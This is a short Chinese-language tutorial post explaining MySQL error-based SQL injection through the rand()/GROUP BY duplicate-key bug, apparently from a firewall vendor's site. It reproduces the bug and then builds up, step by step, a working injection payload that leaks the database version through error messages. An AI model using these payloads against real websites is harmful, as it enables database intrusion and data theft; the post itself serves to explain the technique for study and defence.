网站MYSQL数据库高级爆错注入原理


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网站MYSQL数据库高级爆错注入原理

网站MYSQL数据库高级爆错注入原理

作者：冰盾防火墙　网站：www.bingdun.com　日期：2014-11-18

国内只有一大堆高级爆错的利用代码没人分析原因这个是去官网查资料后分析给出的。

这里主要用了mysql的一个BUG ：http://bugs.mysql.com/bug.php?id=8652

grouping on certain parts of the result from rand, causes a duplicate key error.

重现过程:

    
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            use mysql;
create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
select left(rand(),3),a from r1 group by 1;
select left(rand(),3),a, count(*) from r1 group by 1;
select round(rand(1),1)  ,a, count(*) from r1 group by 1;

        

于是便可以这样拿来爆错注入了。

    
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            select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>

尝试拿来实战

    
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            select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示错误选择的列应该为一个。那么。我们换一下

    
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            select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>

    
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            1248 (42000): Every derived table must have its own alias

提示多表查询要有别名那好办

    
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            select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者

    
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            select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

成功爆粗注入了.